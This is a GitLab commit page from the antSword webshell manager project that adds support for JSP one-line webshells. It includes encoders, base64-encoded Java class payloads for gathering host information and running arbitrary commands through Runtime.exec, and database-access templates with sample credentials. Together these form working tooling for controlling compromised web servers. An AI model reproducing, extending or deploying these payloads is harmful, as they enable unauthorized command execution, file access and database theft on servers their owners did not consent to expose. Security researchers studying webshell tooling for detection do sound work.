Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
92bf8721
Commit
92bf8721
authored
Mar 28, 2020
by
yzddmr6
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
增加对JSP一句话支持
parent
7e7720fc
Changes
17
Expand all
Hide whitespace changes
Inline
Side-by-side
Showing
17 changed files
with
1212 additions
and
12 deletions
+1212
-12
app.entry.js
source/app.entry.js
+6
-2
base.js
source/core/base.js
+7
-7
index.js
source/core/index.js
+1
-1
default.js
source/core/jsp/decoder/default.js
+14
-0
base64.js
source/core/jsp/encoder/base64.js
+30
-0
hex.js
source/core/jsp/encoder/hex.js
+28
-0
index.js
source/core/jsp/index.js
+72
-0
base.js
source/core/jsp/template/base.js
+9
-0
command.js
source/core/jsp/template/command.js
+15
-0
default.js
source/core/jsp/template/database/default.js
+36
-0
mysql.js
source/core/jsp/template/database/mysql.js
+9
-0
oracle.js
source/core/jsp/template/database/oracle.js
+34
-0
sqlserver.js
source/core/jsp/template/database/sqlserver.js
+9
-0
filemanager.js
source/core/jsp/template/filemanager.js
+66
-0
index.js
source/modules/database/jsp/index.js
+871
-0
encoders.js
source/modules/settings/encoders.js
+2
-2
form.js
source/modules/shellmanager/list/form.js
+3
-0
No files found.
source/app.entry.js
View file @
92bf8721
...
...
@@ -165,12 +165,14 @@ antSword['encoders'] = (function () {
var
encoders
=
{
asp
:
[],
aspx
:
[],
jsp
:
[],
php
:
[],
custom
:
[]
};
var
encoders_path
=
{
asp
:
[],
aspx
:
[],
jsp
:
[],
php
:
[],
custom
:
[]
};
...
...
@@ -179,7 +181,7 @@ antSword['encoders'] = (function () {
!
fs
.
existsSync
(
userencoder_path
)
?
fs
.
mkdirSync
(
userencoder_path
)
:
null
;
[
'asp'
,
'aspx'
,
'php'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'
jsp'
,
'
custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
:
null
;
...
...
@@ -219,12 +221,14 @@ antSword['decoders'] = (function () {
asp
:
[],
aspx
:
[],
php
:
[],
jsp
:
[],
custom
:
[]
};
var
decoders_path
=
{
asp
:
[],
aspx
:
[],
php
:
[],
jsp
:
[],
custom
:
[]
};
let
userdecoder_path
=
path
.
join
(
remote
.
process
.
env
.
AS_WORKDIR
,
'antData/encoders'
);
...
...
@@ -232,7 +236,7 @@ antSword['decoders'] = (function () {
!
fs
.
existsSync
(
userdecoder_path
)
?
fs
.
mkdirSync
(
userdecoder_path
)
:
null
;
[
'asp'
,
'aspx'
,
'ph
p'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'js
p'
,
'custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
:
null
;
...
...
source/core/base.js
View file @
92bf8721
...
...
@@ -130,8 +130,8 @@ class Base {
* @return {Object} [返回字符串处理函数对象]
*/
format
(
opts
)
{
let
encode
=
opts
[
'encode'
];
let
randomPrefix
=
parseInt
(
opts
.
otherConf
[
"random-Prefix"
]);
let
encode
=
opts
[
'encode'
];
let
randomPrefix
=
parseInt
(
opts
.
otherConf
[
"random-Prefix"
]);
return
{
/**
* base64编码
...
...
@@ -147,13 +147,13 @@ class Base {
* @return {String} 编码后的字符串
*/
newbase64
(
str
)
{
let
randomString
=
(
length
)
=>
{
let
chars
=
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
;
let
randomString
=
(
length
)
=>
{
let
chars
=
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
;
let
result
=
''
;
for
(
let
i
=
length
;
i
>
0
;
--
i
)
result
+=
chars
[
Math
.
floor
(
Math
.
random
()
*
chars
.
length
)];
return
result
;
}
return
randomString
(
randomPrefix
)
+
Buffer
.
from
(
iconv
.
encode
(
Buffer
.
from
(
str
),
encode
)).
toString
(
'base64'
);
}
return
randomString
(
randomPrefix
)
+
Buffer
.
from
(
iconv
.
encode
(
Buffer
.
from
(
str
),
encode
)).
toString
(
'base64'
);
},
/**
* 字符串转16进制(不进行编码转换
...
...
@@ -226,7 +226,7 @@ class Base {
})
}
// 发送HTTP请求
data
[
'_'
]
=
data
[
'_'
].
replace
(
/#randomPrefix#/g
,
this
.
__opts__
.
otherConf
[
"random-Prefix"
]);
data
[
'_'
]
=
data
[
'_'
].
replace
(
/#randomPrefix#/g
,
this
.
__opts__
.
otherConf
[
"random-Prefix"
]);
return
data
;
}
}
else
{
...
...
source/core/index.js
View file @
92bf8721
...
...
@@ -14,7 +14,7 @@ class Core {
constructor
()
{
// 加载子模块列表
let
cores
=
{};
[
'php'
,
'asp'
,
'aspx'
,
'custom'
,
'php4'
].
map
((
_
)
=>
{
[
'php'
,
'asp'
,
'aspx'
,
'
jsp'
,
'
custom'
,
'php4'
].
map
((
_
)
=>
{
cores
[
_
]
=
require
(
`./
${
_
}
/index`
);
});
// 返回子模块对象
...
...
source/core/jsp/decoder/default.js
0 → 100644
View file @
92bf8721
/**
* JSP::default解码器
*/
'use strict'
;
module
.
exports
=
{
asoutput
:
()
=>
{
return
``
.
replace
(
/
\n\s
+/g
,
''
);
},
decode_buff
:
(
data
)
=>
{
return
data
;
}
}
\ No newline at end of file
source/core/jsp/encoder/base64.js
0 → 100644
View file @
92bf8721
//
// jsp::base64 编码模块
//
// :把除了密码跟api的其他参数都base64编码一次
//
'use strict'
;
module
.
exports
=
(
pwd
,
data
,
ext
=
null
)
=>
{
let
ret
=
{};
for
(
let
_
in
data
)
{
if
(
_
===
'_'
)
{
continue
};
ret
[
_
]
=
Buffer
.
from
(
data
[
_
])
.
toString
(
'base64'
);
}
if
(
ext
.
opts
[
'encode'
]
!=
"UTF8"
)
{
ret
[
'charset'
]
=
ext
.
opts
[
'encode'
];
}
if
(
ext
.
opts
[
'encoder'
]
!=
"default"
)
{
ret
[
'encoder'
]
=
ext
.
opts
[
'encoder'
];
}
if
(
ext
.
opts
[
'decoder'
]
!=
"default"
)
{
ret
[
'decoder'
]
=
ext
.
opts
[
'decoder'
];
}
ret
[
pwd
]
=
data
[
'_'
];
return
ret
;
}
\ No newline at end of file
source/core/jsp/encoder/hex.js
0 → 100644
View file @
92bf8721
//
// 16进制编码模块
//
'use strict'
;
module
.
exports
=
(
pwd
,
data
,
ext
=
null
)
=>
{
let
ret
=
{};
for
(
let
_
in
data
)
{
if
(
_
===
'_'
)
{
continue
};
ret
[
_
]
=
Buffer
.
from
(
data
[
_
])
.
toString
(
'hex'
);
}
if
(
ext
.
opts
[
'encode'
]
!=
"UTF8"
)
{
ret
[
'charset'
]
=
ext
.
opts
[
'encode'
];
}
if
(
ext
.
opts
[
'encoder'
]
!=
"default"
)
{
ret
[
'encoder'
]
=
ext
.
opts
[
'encoder'
];
}
if
(
ext
.
opts
[
'decoder'
]
!=
"default"
)
{
ret
[
'decoder'
]
=
ext
.
opts
[
'decoder'
];
}
ret
[
pwd
]
=
data
[
'_'
];
return
ret
;
}
\ No newline at end of file
source/core/jsp/index.js
0 → 100644
View file @
92bf8721
/**
* JSP服务端脚本模板
* 作者:yzddMr6
*/
'use strict'
;
const
Base
=
require
(
'../base'
);
class
JSP
extends
Base
{
constructor
(
opts
)
{
super
(
opts
);
// 解析模板
[
'base'
,
'command'
,
'filemanager'
,
'database/sqlserver'
,
'database/mysql'
,
'database/oracle'
].
map
((
_
)
=>
{
this
.
parseTemplate
(
`./jsp/template/
${
_
}
`
);
});
// 解析编码器
this
.
encoders
.
map
((
_
)
=>
{
this
.
parseEncoder
(
`./jsp/encoder/
${
_
}
`
);
});
this
.
decoders
.
map
((
_
)
=>
{
this
.
parseDecoder
(
`./jsp/decoder/
${
_
}
`
);
});
}
/**
* 获取编码器列表
* @return {array} 编码器列表
*/
get
encoders
()
{
return
[
'base64'
,
'hex'
];
}
get
decoders
()
{
return
[
'default'
];
}
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete
(
data
,
force_default
=
false
)
{
// 分隔符号
let
tag_s
,
tag_e
;
if
(
this
.
__opts__
[
'otherConf'
].
hasOwnProperty
(
'use-custom-datatag'
)
&&
this
.
__opts__
[
'otherConf'
][
'use-custom-datatag'
]
==
1
&&
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tags'
])
{
tag_s
=
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tags'
];
}
else
{
tag_s
=
"->|"
;
}
if
(
this
.
__opts__
[
'otherConf'
].
hasOwnProperty
(
'use-custom-datatag'
)
&&
this
.
__opts__
[
'otherConf'
][
'use-custom-datatag'
]
==
1
&&
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tage'
])
{
tag_e
=
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tage'
];
}
else
{
tag_e
=
"|<-"
;
}
// 使用编码器进行处理并返回
return
this
.
encodeComplete
(
tag_s
,
tag_e
,
data
);
}
}
module
.
exports
=
JSP
;
\ No newline at end of file
source/core/jsp/template/base.js
0 → 100644
View file @
92bf8721
//
// 基础信息模板
// 获取:当前路径、磁盘列表
//
module
.
exports
=
()
=>
({
info
:
'yv66vgAAADIAtQoANgBNBwBOCgACAE8KAAIAUAgAUQsAUgBTCABUBwBVCABWCgAIAFcIAFgLAFkAWgsAUgBbCwBZAFsIAFwKAAgAXQcAXgoANQBfCgAIAGAIAGEKAAIAYgoAYwBkBwBlBwBmCgAYAE0IAGcKABgAaAoAFwBgCgAYAGALABEAaQsAagBrCABsCwBtAG4KADYAbwoAcABxCgByAHMHAHQKACUAVwoAJQB1CgB2AHcKAHYAeAoAdgB5CgB2AHoIAHsKAHwAfQgAfgoANQB/CACACgB2AIEKAHYAggoAJQCDCgAlAGAHAEYHAIQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcATgcAhQcAhgcAhwcARgcAhAcAVQcAZQEAC1N5c0luZm9Db2RlAQA7KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YS9sYW5nL1N0cmluZzsBAA9Xd3dSb290UGF0aENvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAiAEAClNvdXJjZUZpbGUBABBTeXNJbmZvQ29kZS5qYXZhDAA3ADgBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwAiQCKDACLAIwBAAdjaGFyc2V0BwCFDACNAEkBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMADcAjgEACXRleHQvaHRtbAcAhgwAjwCODACQAI4BAAMtPnwMAJEAkgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAEYARwwAkwCUAQADfDwtDACVAJYHAJcMAJgAjgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACUVSUk9SOi8vIAwAkQCZDACaAJsHAJwMAJ0AngEAAS8HAJ8MAKAASQwAoQCiBwCjDACkAKUHAKYMAKcAlAEADGphdmEvaW8vRmlsZQwAqACUBwCHDACpAKoMAKsArAwArQCUDACuAK8BAAdvcy5uYW1lBwCwDACxAEkBAAl1c2VyLm5hbWUMAEgASQEAAQkMAK4AsgwAOwA8DACzALQBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL1N0cmluZwEAD1tMamF2YS9pby9GaWxlOwEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBAAtnZXRSZWFsUGF0aAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD2phdmEvbGFuZy9DbGFzcwEAC2dldFJlc291cmNlAQAiKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvVVJMOwEADGphdmEvbmV0L1VSTAEAB2dldFBhdGgBAAlnZXRQYXJlbnQBAAZjaGFyQXQBAAQoSSlDAQAHdmFsdWVPZgEAFShDKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEACWxpc3RSb290cwEAESgpW0xqYXZhL2lvL0ZpbGU7ACEANQA2AAAAAAAEAAEANwA4AAEAOQAAAB0AAQABAAAABSq3AAGxAAAAAQA6AAAABgABAAAABwABADsAPAABADkAAAFSAAMACQAAALMrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgW7AAhZEgm3AAo6BrsACFkSCbcACjoHGQQSC7kADAIALRkFuQANAgAZBBkFuQAOAgAZBhIPtgAQVxkHKi3AABG2ABK2ABBXGQYZB7YAE7YAEFcZBhIUtgAQVyy2ABUZBrYAE7YAFqcAIjoIGQe7ABhZtwAZEhq2ABsZCLYAHLYAG7YAHbYAEFcErAABAEAAjwCSABcAAgA6AAAASgASAAAACgAFAAsACgAMABAADQAqAA4ANQAPAEAAEQBJABIAUQATAFoAFABiABUAcAAWAHsAFwCDABgAjwAbAJIAGQCUABoAsQAcAD0AAAA1AAT+ACYHAD4HAD8HAEBBBwBB/wBpAAgHAEIHAEMHAD4HAD8HAEAHAEEHAEQHAEQAAQcARR4AAABGAEcAAQA5AAABLwADAAYAAADHEglNK7kAHgEAuQAfAQASILkAIQIAxgAZK7kAHgEAuQAfAQASILkAIQIATacAHCq2ACISILYAI7YAJE67ACVZLbcAJrYAJ02nAB9OKrYAIhIgtgAjtgAkOgS7ACVZGQS3ACa2ACdNuwAYWbcAGSwDtgAouAAptgAqtgAbLAS2ACu2ABu2AB1NEiy4AC1OEi64AC06BCostgAvOgW7ABhZtwAZLLYAGxIwtgAbGQW2ABsSMLYAGy22ABsSMLYAGxkEtgAbtgAdsAABAAMARwBKABcAAgA6AAAAOgAOAAAAIAADACIAGAAjAC4AJQA7ACYARwArAEoAKABLACkAWQAqAGYALACHAC0AjQAuAJQALwCbADAAPQAAAA4ABPwALgcAQRhCBwBFGwAAAEgASQABADkAAACwAAQABQAAAGESCU0rAwS2ADESILYAMpoAPbgAM04DNgQVBC2+ogAsuwAYWbcAGSy2ABstFQQytgA0AwW2ADG2ABsSCbYAG7YAHU2EBAGn/9OnABe7ABhZtwAZLLYAGxIgtgAbtgAdTSywAAAAAgA6AAAAJgAJAAAAMwADADQAEQA1ABUANgAfADcAQgA2AEgAOQBLADoAXwA8AD0AAAARAAT+ABgHAEEHAEoB+QAvAhMAAQBLAAAAAgBM'
,
probedb
:
'Z'
,
// 检测数据库函数支持
})
\ No newline at end of file
source/core/jsp/template/command.js
0 → 100644
View file @
92bf8721
//
// 命令执行模板
//
module
.
exports
=
()
=>
({
exec
:
{
_
:
'yv66vgAAADIA7goATABrBwBsCgACAG0KAAIAbggAbwsAcABxCAByCABzCAB0BwB1CgAKAHYIAHcLAHgAeQsAcAB6CwB4AHoHAHsKABAAawgAfAoAEAB9CgAQAH4KAEsAfwoASwCACACBCACCCgAKAIMKAEsAhAoACgB+CACFCgACAIYKAIcAiAcAiQgAigoAHwB+CACLCgAkAIwHAI0KACQAjgoAJACPCACQCACRCgAkAJIHAJMKACQAlAoAKgCVCgAkAJYKACQAlwoAEACYCACZCgAqAJoKACoAmwgAnAcAnQoANABrCgA0AJ4KAEsAnwgAoAgAoQoAogCjCgCiAKQKAKUApgoASwCnCgClAKgIAKkKAKoAqwoAJACsCACtCgAkAK4HAK8HALAKAEUAsQoARACyCgBEALMIALQKAEQAtQcAYQcAtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwBsBwC3BwC4BwCNBwBhBwC2BwB1BwCJAQACRUMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHAJMBABJFeGVjdXRlQ29tbWFuZENvZGUHALkBAAVpc1dpbgEAAygpWgEAD0NvcHlJbnB1dFN0cmVhbQEAQihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjtMamF2YS9sYW5nL1N0cmluZzspVgcArwcAugEAClNvdXJjZUZpbGUBABdFeGVjdXRlQ29tbWFuZENvZGUuamF2YQwATQBOAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMALsAvAwAvQC+AQAHZW5jb2RlcgcAtwwAvwDAAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATQDBAQAJdGV4dC9odG1sBwC4DADCAMEMAMMAwQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAxADFDADGAMcMAF8AXQwAXABdAQAEdmFyMgEAAy0+fAwAxADIDABhAF0BAAN8PC0MAMkAygcAywwAzADBAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAUQBSAQAQamF2YS9sYW5nL1N0cmluZwwAzQDODABNAM8BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA0ADHAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MANEA0gwATQDTDADUANUMANYA1wwAxADYAQABLAwA2QDTDADGAMABAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADaANsMAGMAZAEAAi1jAQACL2MHANwMAN0A3gwA3wDgBwDhDADiAOMMAGUAZgwA5ADjAQAHb3MubmFtZQcA5QwA5gDADADnAMcBAAN3aW4MAOgA6QEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDABNAOoMAE0A6wwA7ADHAQACDQoMAO0ATgEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABWNsb3NlACEASwBMAAAAAAAHAAEATQBOAAEATwAAAB0AAQABAAAABSq3AAGxAAAAAQBQAAAABgABAAAACQABAFEAUgABAE8AAAHfAAUACwAAAScrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJKiq7ABBZtwARLRIXuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgoZBxIYtgAZVxkIKhkJGQoZBrYAGrYAGVcZBxkItgAbtgAZVxkHEhy2ABlXLLYAHRkHtgAbtgAepwAiOgkZCLsAEFm3ABESILYAExkJtgAhtgATtgAUtgAZVwSsAAEAWgEDAQYAHwACAFAAAABWABUAAAAMAAUADQAKAA4AEAAPACoAEABEABEATwASAFoAFABjABUAawAWAHQAFwCgABgAzAAZANQAGgDkABsA7wAcAPcAHQEDACABBgAeAQgAHwElACEAUwAAAEIABv4AJgcAVAcAVQcAVkEHAFf8ABcHAFdBBwBX/wDDAAkHAFgHAFkHAFQHAFUHAFYHAFcHAFcHAFoHAFoAAQcAWx4AAABcAF0AAgBPAAAARAAEAAQAAAAeLBIitgAjmgAJLBIipgAFK7C7ACRZK7YAJS23ACawAAAAAgBQAAAACgACAAAAJAARACUAUwAAAAQAAg8BAF4AAAAEAAEAHwAAAF8AXQACAE8AAAFoAAYACAAAANwsEiK2ACOaAAksEiKmAJ8rEielAAwrEie2ACOZAAYSB7ASKDoEK7YAKUy7ACpZK7YAKwVstwAsOgUSBzoGAzYHFQcrtgArogBduwAQWbcAERkGtgATGQQrFQe2AC22AC4HeBkEKxUHBGC2AC22AC6AtgAvEjC2ABO2ABQ6BhkFGQQrFQe2AC22AC4HeBkEKxUHBGC2AC22AC6AtgAxhAcCp/+gGQUSCbYAMrAsEjO2ACOaAAksEjOmACMBOgS7ADRZtwA1OgUZBSu2ADY6BLsAJFkZBBIJtwAmsCuwAAAAAgBQAAAASgASAAAAKAAPACkAHgAqACEALAAlAC0AKgAuADkALwA9ADAASQAxAH0AMgCdADAAowA0AKsANQC6ADYAvQA3AMYAOADOADkA2gA7AFMAAAAqAAgPDgL/AB4ACAcAWAcAVwcAVwcAVwcAVwcAYAcAVwEAAPoAYvgABw4fAF4AAAAEAAEAHwAAAGEAXQACAE8AAADDAAQABwAAAFK7AApZEge3AAs6BAa9ACRZAytTWQQqtgA3mgAIEjinAAUSOVNZBSxTOgW4ADoZBbYAOzoGKhkGtgA8GQQttgA9KhkGtgA+GQQttgA9GQS2ABuwAAAAAgBQAAAAGgAGAAAAPgALAD8AKgBAADQAQQBAAEIATABDAFMAAAA/AAL/ACEABQcAWAcAVwcAVwcAVwcAWgADBwBiBwBiAf8AAQAFBwBYBwBXBwBXBwBXBwBaAAQHAGIHAGIBBwBXAF4AAAAEAAEAHwAAAGMAZAABAE8AAABOAAIAAgAAABgSP7gAQEwrtgBBTCsSQrYAQ5kABQSsA6wAAAACAFAAAAAWAAUAAABGAAYARwALAEgAFABJABYASgBTAAAACAAB/AAWBwBXAAAAZQBmAAIATwAAAI8ABgAGAAAAP7sARFm7AEVZKy23AEa3AEc6BRkFtgBIWToExgAfLLsAEFm3ABEZBLYAExJJtgATtgAUtgAZV6f/3BkFtgBKsQAAAAIAUAAAABYABQAAAE4AEgBPAB0AUAA5AFIAPgBTAFMAAAAiAAL9ABIABwBn/wAmAAYHAFgHAGgHAFoHAFcHAFcHAGcAAABeAAAABAABAB8AAQBpAAAAAgBq'
,
'var1'
:
'#{bin}'
,
'var2'
:
'#{cmd}'
,
},
listcmd
:
{
_
:
'Y'
,
'z1'
:
'#{binarr}'
}
})
\ No newline at end of file
source/core/jsp/template/database/default.js
0 → 100644
View file @
92bf8721
This diff is collapsed.
Click to expand it.
source/core/jsp/template/database/mysql.js
0 → 100644
View file @
92bf8721
/*
<T>XDB</T>
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
*/
module
.
exports
=
require
(
'./default'
);
\ No newline at end of file
source/core/jsp/template/database/oracle.js
0 → 100644
View file @
92bf8721
This diff is collapsed.
Click to expand it.
source/core/jsp/template/database/sqlserver.js
0 → 100644
View file @
92bf8721
/*
<T>XDB</T>
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
</X>
*/
module
.
exports
=
require
(
'./default'
);
\ No newline at end of file
source/core/jsp/template/filemanager.js
0 → 100644
View file @
92bf8721
This diff is collapsed.
Click to expand it.
source/modules/database/jsp/index.js
0 → 100644
View file @
92bf8721
This diff is collapsed.
Click to expand it.
source/modules/settings/encoders.js
View file @
92bf8721
...
...
@@ -760,7 +760,7 @@ module.exports = {
!
fs
.
existsSync
(
userencoder_path
)
?
fs
.
mkdirSync
(
userencoder_path
)
:
null
;
[
'asp'
,
'aspx'
,
'php'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'
jsp'
,
'
custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
:
null
;
...
...
@@ -807,7 +807,7 @@ module.exports = {
!
fs
.
existsSync
(
userdecoder_path
)
?
fs
.
mkdirSync
(
userdecoder_path
)
:
null
;
[
'asp'
,
'aspx'
,
'php'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'
jsp'
,
'
custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
:
null
;
...
...
source/modules/shellmanager/list/form.js
View file @
92bf8721
...
...
@@ -267,6 +267,7 @@ class Form {
"php"
:
/
.
+
\
.
ph
(
p
[
345
]?
|
s
|
t
|
tml
)
/
,
"aspx"
:
/.+
\.
as
(
px|mx
)
/
,
"asp"
